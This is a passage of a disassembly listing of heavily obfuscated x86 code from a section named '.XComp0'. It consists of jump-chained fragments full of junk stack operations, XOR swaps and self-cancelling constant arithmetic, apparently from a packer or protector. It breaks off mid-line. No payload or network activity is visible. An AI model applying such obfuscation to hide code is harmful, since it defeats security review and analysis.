--------------------------------------------------------------------------- loc_58D11F: ; CODE XREF: .XComp0:00594F81j pop esp push edi jmp loc_58DA2D ; --------------------------------------------------------------------------- loc_58D126: ; CODE XREF: .XComp0:00586F0Bj mov [esp], ebx jmp loc_58B681 ; --------------------------------------------------------------------------- loc_58D12E: ; CODE XREF: .XComp0:00590274j xor edx, 1B1D604Ch neg edx xor edx, 0B487BC2Bh or edi, edx pop edx not edi add edi, 1E8A1D5Bh and ebx, edi pop edi jmp loc_5895C3 ; --------------------------------------------------------------------------- loc_58D14F: ; CODE XREF: .XComp0:00595AC0j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_591B9C ; --------------------------------------------------------------------------- loc_58D160: ; CODE XREF: .XComp0:00587EE4j pop ecx push ebx jmp loc_598BDF ; --------------------------------------------------------------------------- loc_58D167: ; CODE XREF: .XComp0:005864C7j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 2 add eax, edx jmp loc_58C4DE ; --------------------------------------------------------------------------- loc_58D188: ; CODE XREF: .XComp0:00596953j push ebx jmp loc_58720F ; --------------------------------------------------------------------------- loc_58D18E: ; CODE XREF: .XComp0:0058661Dj pop edx pop ebp loc_58D190: ; CODE XREF: .XComp0:005987BEj push 52E2h mov [esp], ebx push esi mov esi, 658F71F4h xor [esp+4], esi pop esi push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 jmp loc_58870E ; --------------------------------------------------------------------------- loc_58D1C0: ; CODE XREF: .XComp0:005840A4j push ax mov al, 31h push ecx jmp loc_591982 ; --------------------------------------------------------------------------- loc_58D1CA: ; CODE XREF: .XComp0:00594C9Fj push 5A39h mov [esp], ecx mov ch, 1 jmp loc_596146 ; --------------------------------------------------------------------------- loc_58D1D9: ; CODE XREF: .XComp0:00593610j add esp, 4 xchg ebp, [esp] pop esp push 26C0h mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5867DC ; --------------------------------------------------------------------------- loc_58D1F5: ; CODE XREF: .XComp0:00590760j pop ebp jmp loc_5916CB ; --------------------------------------------------------------------------- loc_58D1FB: ; CODE XREF: .XComp0:0058F981j add ebp, 4 xchg ebp, [esp] pop esp push ecx add dword ptr [esp], 1AFC7C3Dh pop ebp sub ebp, 1AFC7C3Dh mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_590347 ; --------------------------------------------------------------------------- loc_58D21F: ; CODE XREF: .XComp0:00585268j xor edi, 2F92767Eh dec edi jmp loc_597FEB ; --------------------------------------------------------------------------- loc_58D22B: ; CODE XREF: .XComp0:00597049j mov [esp], ecx mov ecx, 8926B72h sub eax, ecx pop ecx mov ecx, [esp] add esp, 4 push eax mov eax, 4DA70777h add ebx, eax pop eax push esi mov esi, 59A06819h sub ebx, esi pop esi sub ebx, eax add ebx, 59A06819h push 4102h mov [esp], edx push 60CBh mov [esp], ecx mov ecx, 4DA70777h mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 push esi push 7C1Dh mov [esp], ebp mov ebp, 3F13142Ah push ebp pop esi pop ebp add esi, 2D591948h push ebp mov ebp, 5DAF6FADh add esi, ebp pop ebp push esi not dword ptr [esp] pop esi xor esi, 4E824CBDh add ebx, esi mov esi, [esp] add esp, 4 add ebx, 59F44390h jmp loc_590CE6 ; --------------------------------------------------------------------------- loc_58D2B5: ; CODE XREF: .XComp0:0058FB76j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] not ebp xor [esp], ebp xor ebp, [esp] jmp loc_589CB9 ; --------------------------------------------------------------------------- loc_58D2CD: ; CODE XREF: .XComp0:00592F7Aj shr ecx, 3 jmp loc_5914B5 ; --------------------------------------------------------------------------- loc_58D2D5: ; CODE XREF: .XComp0:005978AEj mov ecx, 283E7625h jmp loc_594434 ; --------------------------------------------------------------------------- loc_58D2DF: ; CODE XREF: .XComp0:0058485Dj sub esi, 3E590187h jmp loc_58D069 ; --------------------------------------------------------------------------- loc_58D2EA: ; CODE XREF: .XComp0:00592AD7j add ebx, 4 jmp loc_5877E4 ; --------------------------------------------------------------------------- mov ax, [esp] push 2C65h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push edi mov edi, esp jmp loc_585EA1 ; --------------------------------------------------------------------------- loc_58D319: ; CODE XREF: .XComp0:00588E6Aj pop edi sub eax, esi jmp loc_5917FE ; --------------------------------------------------------------------------- loc_58D321: ; CODE XREF: .XComp0:00592393j pop esp jmp loc_58AF4F ; --------------------------------------------------------------------------- loc_58D327: ; CODE XREF: .XComp0:0058BB6Bj inc ecx and ecx, 200E33h jmp loc_598098 ; --------------------------------------------------------------------------- loc_58D333: ; CODE XREF: .XComp0:0058BB1Fj add ebx, 13116D35h sub ebx, edi sub ebx, 13116D35h add ebx, 0AD81973h jmp loc_5852C5 ; --------------------------------------------------------------------------- loc_58D34C: ; CODE XREF: .XComp0:00594686j mov dh, bh pop ebx pop eax sub bl, 10h jmp loc_589EC5 ; --------------------------------------------------------------------------- loc_58D358: ; CODE XREF: .XComp0:0058BC05j mov [esp], ebp mov ebp, esp jmp loc_59875A ; --------------------------------------------------------------------------- loc_58D362: ; CODE XREF: .XComp0:00586C4Dj push dword ptr [esp] pop esi push eax mov eax, esp jmp loc_594504 ; --------------------------------------------------------------------------- loc_58D36E: ; CODE XREF: .XComp0:00592C01j add eax, 48471DAAh add eax, ecx jmp loc_586A4D ; --------------------------------------------------------------------------- loc_58D37A: ; CODE XREF: .XComp0:00583F90j xor ecx, eax pop eax add edx, ecx pop ecx jmp loc_594B7F ; --------------------------------------------------------------------------- loc_58D385: ; CODE XREF: .XComp0:00596F00j pop eax shr ecx, 6 push 60A6h jmp loc_592B29 ; --------------------------------------------------------------------------- loc_58D393: ; CODE XREF: .XComp0:0058CE1Cj add ebp, esi pop esi push 994h mov [esp], edx mov edx, 0B5F5779h and ebp, edx jmp loc_589188 ; --------------------------------------------------------------------------- loc_58D3AA: ; CODE XREF: .XComp0:00590B5Bj xchg ecx, [esp] pop esp jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58D3B3: ; CODE XREF: .XComp0:00587C77j pop edi add ebx, ecx mov ecx, [esp] push ebx jmp loc_58A4CC ; --------------------------------------------------------------------------- loc_58D3BF: ; CODE XREF: .XComp0:00583FA6j xor esi, ebx pop ebx jmp loc_595D09 ; --------------------------------------------------------------------------- loc_58D3C7: ; CODE XREF: .XComp0:0058DE68j mov edi, esp add edi, 4 add edi, 4 jmp loc_58EA3A ; --------------------------------------------------------------------------- loc_58D3DA: ; CODE XREF: .XComp0:005870F7j push eax push ebp pop eax pop ebp xchg ebx, ebp not ebx xchg ebx, ebp xchg eax, ebp shl eax, 7 jmp loc_5840F9 ; --------------------------------------------------------------------------- loc_58D3ED: ; CODE XREF: .XComp0:0058DBFAj mov ebp, 21714A3Ah sub ebp, edx pop edx sub ebx, 2A5B6883h sub ebx, ebp add ebx, 2A5B6883h jmp loc_58B991 ; --------------------------------------------------------------------------- loc_58D408: ; CODE XREF: .XComp0:00588F7Bj and edx, ebp pop ebp push 1E37h jmp loc_5981CA ; --------------------------------------------------------------------------- loc_58D415: ; CODE XREF: .XComp0:00597990j mul cx push small 404Eh mov [esp], dx push ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58D428: ; CODE XREF: .XComp0:00587DF9j bswap eax sub esp, 4 mov [esp], eax jmp loc_595234 ; --------------------------------------------------------------------------- loc_58D435: ; CODE XREF: .XComp0:0058EA3Ej xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ax, [esp] push 70DDh mov [esp], ebx mov ebx, esp push eax push ebp mov ebp, 1B39334Fh mov eax, 1B39334Bh xor eax, ebp pop ebp add ebx, eax pop eax sub ebx, 4 jmp loc_590600 ; --------------------------------------------------------------------------- loc_58D469: ; CODE XREF: .XComp0:00591366j push 5D7Dh mov [esp], edi jmp loc_593AAC ; --------------------------------------------------------------------------- loc_58D476: ; CODE XREF: .XComp0:00597ABAj push eax pop ecx push 3533h mov [esp], ecx add dword ptr [esp], 3E003001h push dword ptr [esp] pop edx add esp, 4 sub edx, 3E003001h push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp sub esp, 4 jmp loc_58F5EC ; --------------------------------------------------------------------------- loc_58D4AE: ; CODE XREF: .XComp0:0058EC91j push ebx mov ebx, 134A7F39h sub ebx, 0A1CE03F2h jmp loc_58DB68 ; --------------------------------------------------------------------------- loc_58D4BF: ; CODE XREF: .XComp0:00596141j mov esi, 69810A8Eh add eax, esi pop esi push dword ptr [esp] mov ecx, [esp] jmp loc_5891DE ; --------------------------------------------------------------------------- loc_58D4D2: ; CODE XREF: .XComp0:00592AEBj mov ecx, 4AD524D5h add ecx, 76621F88h neg ecx add ecx, 0C1374461h jmp loc_5878FB ; --------------------------------------------------------------------------- loc_58D4EA: ; CODE XREF: .XComp0:005886F5j xor dh, ah jmp loc_593A6C ; --------------------------------------------------------------------------- loc_58D4F1: ; CODE XREF: .XComp0:0058AB22j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_591E15 ; --------------------------------------------------------------------------- loc_58D507: ; CODE XREF: .XComp0:00586542j sub ch, 20h inc ch jmp loc_588DF8 ; --------------------------------------------------------------------------- loc_58D511: ; CODE XREF: .XComp0:00588BAFj mov [esp], ecx mov ecx, 3FEA043Eh shl ecx, 2 push ebp mov ebp, 2286465Fh add ecx, ebp pop ebp neg ecx and ecx, 598A452Ch jmp loc_591C02 ; --------------------------------------------------------------------------- loc_58D532: ; CODE XREF: .XComp0:00596D21j add esp, 4 pop dword ptr [esp] mov esp, [esp] imul cx jmp loc_5881E7 ; --------------------------------------------------------------------------- loc_58D543: ; CODE XREF: .XComp0:0059659Cj pop esi pop dword ptr [esp] mov esp, [esp] push 5DDFh jmp loc_58BB83 ; --------------------------------------------------------------------------- loc_58D554: ; CODE XREF: .XComp0:005941B8j pop ebx push ebx mov bl, ah mov dh, bl pop ebx pop eax jmp loc_594804 ; --------------------------------------------------------------------------- loc_58D561: ; CODE XREF: .XComp0:00590B6Dj mov eax, esp add eax, 4 push edi mov edi, 4 add eax, 1EAD67D6h add eax, edi sub eax, 1EAD67D6h pop edi xchg eax, [esp] pop esp xchg ebp, [esp] jmp loc_596378 ; --------------------------------------------------------------------------- loc_58D587: ; CODE XREF: .XComp0:005908A8j xchg ah, dl push ax push edx jmp loc_58CE63 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 6EDFh mov [esp], ebp push 4622h mov [esp], edx push 4C396622h mov edx, [esp] push 43Ah jmp loc_5905D6 ; --------------------------------------------------------------------------- loc_58D5B6: ; CODE XREF: .XComp0:005942BBj add eax, ebp add eax, 0FC10530h mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_58C620 ; --------------------------------------------------------------------------- loc_58D5CE: ; CODE XREF: .XComp0:0058D840j push 6CFEh mov [esp], edx mov edx, 38AB6614h add edx, 41B95F60h add edx, 859B3A90h jmp loc_595875 ; --------------------------------------------------------------------------- loc_58D5EC: ; CODE XREF: .XComp0:0059629Aj pop ecx jmp loc_58788A ; --------------------------------------------------------------------------- loc_58D5F2: ; CODE XREF: .XComp0:00597683j not ebp sub ebp, 0FFFFFFFFh xor ebp, 0C68525h add eax, ebp pop ebp push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push eax mov eax, 2A7247EDh jmp loc_590E63 ; --------------------------------------------------------------------------- loc_58D626: ; CODE XREF: .XComp0:005969BDj add ebp, 4 jmp loc_583A92 ; --------------------------------------------------------------------------- loc_58D631: ; CODE XREF: .XComp0:00594187j push esi push 239F1C1Eh jmp loc_58F314 ; --------------------------------------------------------------------------- loc_58D63C: ; CODE XREF: .XComp0:0058A606j push 7C54h mov [esp], edi mov edi, 4 add [esp+4], edi mov edi, [esp] jmp loc_59063C ; --------------------------------------------------------------------------- loc_58D655: ; CODE XREF: .XComp0:00588762j pop eax pop cx jmp loc_5866C6 ; --------------------------------------------------------------------------- loc_58D65D: ; CODE XREF: .XComp0:00585547j shl bh, 8 neg bh sub bh, 0DAh jmp loc_5950D7 ; --------------------------------------------------------------------------- loc_58D66A: ; CODE XREF: .XComp0:0058AEBCj mov [esp], esp jmp loc_58F2A7 ; --------------------------------------------------------------------------- loc_58D672: ; CODE XREF: .XComp0:00584A83j add ebx, ecx sub ebx, 4E4635DAh jmp loc_58B22C ; --------------------------------------------------------------------------- loc_58D67F: ; CODE XREF: .XComp0:00593544j add ebp, 4 xchg ebp, [esp] pop esp push 39A3h jmp loc_591A9D ; --------------------------------------------------------------------------- loc_58D693: ; CODE XREF: .XComp0:0058F306j mov edx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5958E3 ; --------------------------------------------------------------------------- loc_58D6A4: ; CODE XREF: .XComp0:0058C087j sub edx, 34801A76h jmp loc_58E8DB ; --------------------------------------------------------------------------- loc_58D6AF: ; CODE XREF: .XComp0:0059258Bj pop ecx sub esp, 2 mov [esp], dx mov dh, 16h sub al, dh pop dx sub al, 0F7h pop bx push ax mov ah, 61h sub bl, 47h sub bl, 6Dh jmp loc_590B3E ; --------------------------------------------------------------------------- loc_58D6D3: ; CODE XREF: .XComp0:0058942Ej add ecx, edx jmp loc_593B3C ; --------------------------------------------------------------------------- loc_58D6DA: ; CODE XREF: .XComp0:00595AF8j push 2839h mov [esp], esi mov esi, 4 jmp loc_585B5D ; --------------------------------------------------------------------------- loc_58D6EC: ; CODE XREF: .XComp0:00590925j pop dword ptr [edi+24h] shr dword ptr [edi+24h], 6 sub dword ptr [edi+24h], 0FFFFFFFFh push ebp jmp loc_58A7E8 ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: .XComp0:0058C690j inc esi add esi, 7A12A3BCh or edi, esi pop esi push esi jmp loc_5951D2 ; --------------------------------------------------------------------------- loc_58D710: ; CODE XREF: .XComp0:005872BAj not dword ptr [esp] pop esi sub esi, 0A6644EE8h sub eax, 2D372948h jmp loc_586231 ; --------------------------------------------------------------------------- loc_58D724: ; CODE XREF: .XComp0:0058A7CCj mov al, bh mov dl, al pop eax mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5900F6 ; --------------------------------------------------------------------------- loc_58D740: ; CODE XREF: .XComp0:0058E27Fj mov ebx, 0D03479Ch xor ebx, 346F71B9h push ecx mov ecx, 4A5D584Ah xor ecx, 3A9FE800h sub ebx, 76B74C8Bh add ebx, ecx add ebx, 76B74C8Bh mov ecx, [esp] add esp, 4 xor esi, ebx pop ebx sub edi, esi jmp loc_5870EC ; --------------------------------------------------------------------------- loc_58D775: ; CODE XREF: .XComp0:0058FC12j push 78AAh mov [esp], edx sub esp, 4 jmp loc_58EB6C ; --------------------------------------------------------------------------- loc_58D788: ; CODE XREF: .XComp0:0058C465j shr dl, 3 inc dl neg dl jmp loc_592E73 ; --------------------------------------------------------------------------- loc_58D794: ; CODE XREF: .XComp0:00584DB9j push 45CFh mov [esp], ebx jmp loc_586C5B ; --------------------------------------------------------------------------- loc_58D7A1: ; CODE XREF: .XComp0:0059417Bj add esp, 4 push ecx mov ecx, 4 jmp loc_5934D6 ; --------------------------------------------------------------------------- loc_58D7B2: ; CODE XREF: .XComp0:00594061j sub ch, 0D5h sub al, ch jmp loc_593735 ; --------------------------------------------------------------------------- loc_58D7BC: ; CODE XREF: .XComp0:005897A9j pop esi jmp loc_588A4C ; --------------------------------------------------------------------------- loc_58D7C2: ; CODE XREF: .XComp0:0058507Bj mov esp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_584E18 ; --------------------------------------------------------------------------- loc_58D7E2: ; CODE XREF: .XComp0:0058ACEFj mov edx, 4235783Eh neg edx xor edx, 46AD5B23h sub esi, edx pop edx sub ebx, 357E42BEh sub ebx, esi add ebx, 357E42BEh pop esi jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58D806: ; CODE XREF: .XComp0:00593568j sub edi, 13433172h push edi xor dword ptr [esp], 60B738F9h jmp loc_58C4B5 ; --------------------------------------------------------------------------- loc_58D819: ; CODE XREF: .XComp0:0059770Aj sub ebx, 4 xchg ebx, [esp] jmp loc_58694F ; --------------------------------------------------------------------------- loc_58D827: ; CODE XREF: .XComp0:00587D33j add esi, 2 sub esp, 4 mov [esp], esi jmp loc_58A72E ; --------------------------------------------------------------------------- loc_58D838: ; CODE XREF: .XComp0:0058A152j mov edi, esp add edi, 4 jmp loc_58D5CE ; --------------------------------------------------------------------------- loc_58D845: ; CODE XREF: .XComp0:005864E9j not eax xchg eax, [esp] push dword ptr [esp] pop ebx add esp, 4 xor edi, ebx xor ebx, edi jmp loc_5872CD ; --------------------------------------------------------------------------- loc_58D85A: ; CODE XREF: .XComp0:00597FB1j sub al, 7Eh add al, cl add al, 7Eh mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_58A56F ; --------------------------------------------------------------------------- loc_58D874: ; CODE XREF: .XComp0:005848A9j mov [esp], ecx push edx push ebx mov ebx, 4C066521h mov edx, 173DCF39h add edx, ebx pop ebx shl edx, 5 and edx, 3A8B045Fh neg edx shl edx, 1 jmp loc_58B687 ; --------------------------------------------------------------------------- loc_58D898: ; CODE XREF: .XComp0:00593708j pop small word ptr [esp] push si push cx mov cx, 2 push cx sub word ptr [esp], 1836h mov si, [esp] add esp, 2 add si, 1836h mov cx, [esp] add esp, 2 jmp loc_590ABF ; --------------------------------------------------------------------------- loc_58D8C4: ; CODE XREF: .XComp0:00597966j mov [esp], esi push ebp jmp loc_58A7B1 ; --------------------------------------------------------------------------- loc_58D8CD: ; CODE XREF: .XComp0:0058B8A5j pop eax push ebx push 4A59h mov [esp], ebp push esi mov esi, 59216692h mov ebp, esi pop esi add ebp, 0BB5C12A2h mov ebx, ebp pop ebp or ebx, 63832AF1h xor ebx, 77FF7BF1h add eax, ebx mov ebx, [esp] push ebx jmp loc_585FF3 ; --------------------------------------------------------------------------- loc_58D900: ; CODE XREF: .XComp0:005956F5j mov [esp], ecx jmp loc_58559F ; --------------------------------------------------------------------------- loc_58D908: ; CODE XREF: .XComp0:00586C56j mov edx, esp jmp loc_584183 ; --------------------------------------------------------------------------- loc_58D90F: ; CODE XREF: .XComp0:0058B574j mov cl, 0F2h sub bl, 8Ah sub bl, cl jmp loc_584DA2 ; --------------------------------------------------------------------------- loc_58D91B: ; CODE XREF: .XComp0:00594E5Aj add esp, 4 push ecx mov ecx, 2EC611D0h xor ecx, 43CC6AE9h push ebx mov ebx, 27852EB9h jmp loc_594552 ; --------------------------------------------------------------------------- loc_58D935: ; CODE XREF: .XComp0:00596B51j xor ebx, ebp pop ebp and ecx, ebx pop ebx shr ecx, 0Bh jmp loc_59011C ; --------------------------------------------------------------------------- loc_58D943: ; CODE XREF: .XComp0:005875B5j or ebx, ecx pop ecx jmp loc_5918DE ; --------------------------------------------------------------------------- loc_58D94B: ; CODE XREF: .XComp0:00596C64j sub esi, 28585960h add esi, edi add esi, 28585960h add esi, 24A33619h pop edi add esi, 2 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_58DB1D ; --------------------------------------------------------------------------- loc_58D979: ; CODE XREF: .XComp0:00587519j push esi jmp loc_594A68 ; --------------------------------------------------------------------------- loc_58D97F: ; CODE XREF: .XComp0:0058B148j pop edx jmp loc_591274 ; --------------------------------------------------------------------------- loc_58D985: ; CODE XREF: .XComp0:00592CF1j mov [esp], esi sub esp, 4 mov [esp], ebx mov esi, [esp] push ebx mov ebx, esp push edx mov edx, 4 jmp loc_58C832 ; --------------------------------------------------------------------------- loc_58D99F: ; CODE XREF: .XComp0:0058DDFDj sub esp, 4 mov [esp], ebp mov ebp, esp push ebx mov ebx, 0F633929h sub ebx, 0F633925h add ebp, ebx pop ebx push 5A2Eh mov [esp], esi mov esi, 2 add ebp, 51C46CE8h add ebp, esi push eax push edx push esi mov esi, 77DC67C2h sub esi, 561E0DD3h mov edx, esi pop esi mov eax, 0EB5B25C2h add eax, edx mov edx, [esp] jmp loc_596E6C ; --------------------------------------------------------------------------- loc_58D9EB: ; CODE XREF: .XComp0:0058AD09j mov [esp], ecx push 6DA0h mov [esp], ebx sub esp, 4 jmp loc_58B90F ; --------------------------------------------------------------------------- loc_58DA01: ; CODE XREF: .XComp0:0058EA67j mov ecx, 46B13349h add ecx, 1 jmp loc_590666 ; --------------------------------------------------------------------------- loc_58DA11: ; CODE XREF: .XComp0:0058574Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 72035C2Bh jmp loc_58B12A ; --------------------------------------------------------------------------- loc_58DA2D: ; CODE XREF: .XComp0:0058D121j mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 push 5DD1h mov [esp], eax mov eax, 2 jmp loc_58947C ; --------------------------------------------------------------------------- loc_58DA4C: ; CODE XREF: .XComp0:0058F758j xchg ecx, [esp] pop esp mov [esp], edi push 66CC7ACCh pop edi push esi mov esi, 0A911B7Ah jmp loc_58C681 ; --------------------------------------------------------------------------- loc_58DA64: ; CODE XREF: .XComp0:00583F3Ej pop ecx push cx mov ch, 0D6h sub dl, 6Eh jmp loc_58DD0B ; --------------------------------------------------------------------------- loc_58DA71: ; CODE XREF: .XComp0:00591CCEj and [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58DA7A: ; CODE XREF: .XComp0:0059635Bj inc ch shr ch, 6 sub ch, 67h add bl, ch mov ecx, [esp] jmp loc_5907AA ; --------------------------------------------------------------------------- loc_58DA8C: ; CODE XREF: .XComp0:005949F1j neg edi add edi, 21ED5C00h xor edi, 0AE550B42h sub eax, edi pop edi push 47D0h jmp loc_58A0F0 ; --------------------------------------------------------------------------- loc_58DAA7: ; CODE XREF: .XComp0:00597E27j push 2D8Eh mov [esp], edx mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 push edx mov edx, 2 add esi, edx push dword ptr [esp] jmp loc_5964FE ; --------------------------------------------------------------------------- loc_58DACC: ; CODE XREF: .XComp0:00596F13j push edi jmp loc_587E04 ; --------------------------------------------------------------------------- loc_58DAD2: ; CODE XREF: .XComp0:00594029j push esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 push 7F96h mov [esp], eax mov eax, 2 push eax mov eax, 70425D12h add edi, eax pop eax add edi, eax sub edi, 70425D12h pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58B107 ; --------------------------------------------------------------------------- loc_58DB0D: ; CODE XREF: .XComp0:00585BC1j mov [esp], eax mov al, 41h jmp loc_5881F4 ; --------------------------------------------------------------------------- loc_58DB17: ; CODE XREF: .XComp0:0058A091j pop esi jmp loc_5949D7 ; --------------------------------------------------------------------------- loc_58DB1D: ; CODE XREF: .XComp0:0058D974j pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58DB2D: ; CODE XREF: .XComp0:005871B8j pop esi jmp loc_584229 ; --------------------------------------------------------------------------- loc_58DB33: ; CODE XREF: .XComp0:0058929Cj or eax, eax jz loc_58452E push 0BAAh mov [esp], edx push ecx push esi mov esi, 6FD4184Fh inc esi jmp loc_58DFA2 ; --------------------------------------------------------------------------- loc_58DB50: ; CODE XREF: .XComp0:0058421Bj sub ecx, 4 jmp loc_58B949 ; --------------------------------------------------------------------------- loc_58DB5B: ; CODE XREF: .XComp0:005958DEj add ebp, 24F721Eh add ebp, esi jmp loc_583A78 ; --------------------------------------------------------------------------- loc_58DB68: ; CODE XREF: .XComp0:0058D4BAj shr ebx, 1 push ecx push 1E34h jmp loc_591E57 ; --------------------------------------------------------------------------- loc_58DB75: ; CODE XREF: .XComp0:00595AA6j push ebp push eax jmp loc_58A74D ; --------------------------------------------------------------------------- loc_58DB7C: ; CODE XREF: .XComp0:00584FA1j sub bh, 0A9h shr bh, 2 shl bh, 2 jmp loc_589829 ; --------------------------------------------------------------------------- loc_58DB8A: ; CODE XREF: .XComp0:0058B115j push ebp mov ebp, 2 add eax, ebp pop ebp jmp loc_5893B9 ; --------------------------------------------------------------------------- loc_58DB98: ; CODE XREF: .XComp0:00588066j push ebx mov bl, 0FAh add ch, bl pop ebx jmp loc_58448F ; --------------------------------------------------------------------------- loc_58DBA3: ; CODE XREF: .XComp0:0058E056j mov ebx, 64613B67h mov ecx, ebx jmp loc_5935DC ; --------------------------------------------------------------------------- loc_58DBAF: ; CODE XREF: .XComp0:0058E361j add ecx, 5A772772h add ecx, edx sub ecx, 5A772772h pop edx xchg ecx, [esp] pop esp push ecx mov ecx, 4 jmp loc_584603 ; --------------------------------------------------------------------------- loc_58DBCD: ; CODE XREF: .XComp0:00583D9Aj add esp, 4 add dword ptr [edx+30h], 0A9119ED7h jmp loc_597126 ; --------------------------------------------------------------------------- loc_58DBDC: ; CODE XREF: .XComp0:0058611Ej add eax, 770E1C92h sub eax, ebx push ebx push edx jmp loc_59526C ; --------------------------------------------------------------------------- loc_58DBEA: ; CODE XREF: .XComp0:0058E8EEj mov ebp, ebx pop ebx push ebx mov ebx, 3D765A58h push ebp push edx mov edx, 21714A3Bh jmp loc_58D3ED ; --------------------------------------------------------------------------- loc_58DBFF: ; CODE XREF: .XComp0:0058B561j add esp, 4 jmp loc_597C67 ; --------------------------------------------------------------------------- loc_58DC0A: ; CODE XREF: .XComp0:00598796j mov [esp], esi mov esi, 3B3F1668h xor esi, 27AB7E22h dec esi not esi inc esi sub esi, 2ED54058h sub esi, 4ECD1771h push ecx mov ecx, 0B16110Bh inc ecx dec ecx shl ecx, 1 neg ecx xor ecx, 8C1AE200h xor esi, ecx pop ecx add edx, esi jmp loc_595533 ; --------------------------------------------------------------------------- loc_58DC44: ; CODE XREF: .XComp0:00589372j add dx, ax pop eax push di mov di, 46C8h sub cx, di pop di sub cx, dx jmp loc_58CBD7 ; --------------------------------------------------------------------------- loc_58DC5B: ; CODE XREF: .XComp0:0058E686j pop edx add edx, 54D10ADFh pop eax jmp loc_58860F ; --------------------------------------------------------------------------- loc_58DC68: ; CODE XREF: .XComp0:0058B37Bj pop ecx sub cl, dl jmp loc_58C24A ; --------------------------------------------------------------------------- loc_58DC70: ; CODE XREF: .XComp0:00586FA1j add esp, 4 add esp, 4 push edx mov edx, 5CD20D94h add edi, edx push dword ptr [esp] pop edx add esp, 4 not edi sub edi, 15D88FA4h xor eax, edi jmp loc_591E3E ; --------------------------------------------------------------------------- loc_58DC94: ; CODE XREF: .XComp0:00597A68j pop esp mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5958F4 ; --------------------------------------------------------------------------- loc_58DCBD: ; CODE XREF: .XComp0:0058DE4Fj mov ebx, 3073786Ah mov edi, ebx pop ebx jmp loc_5946E6 ; --------------------------------------------------------------------------- loc_58DCCA: ; CODE XREF: .XComp0:00587765j pop esi add esi, 4 jmp loc_585AFC ; --------------------------------------------------------------------------- loc_58DCD6: ; CODE XREF: .XComp0:00597145j pop dword ptr [esp] pop esp xor esi, [esp] xor [esp], esi jmp loc_593060 ; --------------------------------------------------------------------------- loc_58DCE5: ; CODE XREF: .XComp0:0058C5E8j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx push 421Ch mov [esp], eax push dword ptr [esp] pop ebx push edx mov edx, esp add edx, 4 jmp loc_5901DF ; --------------------------------------------------------------------------- loc_58DD0B: ; CODE XREF: .XComp0:0058DA6Cj add dl, ch jmp loc_587A38 ; --------------------------------------------------------------------------- loc_58DD12: ; CODE XREF: .XComp0:005865E2j mov edi, 14EF503Bh xor eax, edi pop edi push 3162h mov [esp], ecx push 7A5A4BDEh pop ecx sub esp, 4 mov [esp], ebp push edi mov edi, 4B670766h mov ebp, edi pop edi inc ebp xchg ecx, ebp not ecx xchg ecx, ebp jmp loc_58E6BA ; --------------------------------------------------------------------------- loc_58DD46: ; CODE XREF: .XComp0:00587B93j push 0B84h jmp loc_58526D ; --------------------------------------------------------------------------- loc_58DD50: ; CODE XREF: .XComp0:00596A14j push ebx jmp loc_58FA61 ; --------------------------------------------------------------------------- loc_58DD56: ; CODE XREF: .XComp0:00596A9Aj mov dl, 0ADh add al, dl pop edx sub al, 65h pop edx push edi push esp mov edi, [esp] push edi mov edi, esp jmp loc_5983E5 ; --------------------------------------------------------------------------- loc_58DD6B: ; CODE XREF: .XComp0:00588678j shr ecx, 7 push dword ptr [edi+1Ch] push eax mov eax, 46635A94h push edx jmp loc_588A32 ; --------------------------------------------------------------------------- loc_58DD7D: ; CODE XREF: .XComp0:0058EF50j shl byte ptr [esp], cl pushf jmp loc_58AB7D ; --------------------------------------------------------------------------- loc_58DD86: ; CODE XREF: .XComp0:0059719Dj push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_597F42 ; --------------------------------------------------------------------------- loc_58DD95: ; CODE XREF: .XComp0:00584050j add ebx, 4 sub ebx, 4 jmp loc_595011 ; --------------------------------------------------------------------------- loc_58DDA3: ; CODE XREF: .XComp0:00585926j inc edx push eax mov eax, 4AFB6CD1h push edx mov edx, 532203E8h xor edx, 7E012029h jmp loc_592402 ; --------------------------------------------------------------------------- loc_58DDBB: ; CODE XREF: .XComp0:00584494j add bl, ah pop eax add bl, ah pop eax sub bl, 1 push ecx mov cl, 7Eh sub cl, 75h neg cl push bx mov bl, 7Dh add cl, bl jmp loc_595BC2 ; --------------------------------------------------------------------------- loc_58DDD7: ; CODE XREF: 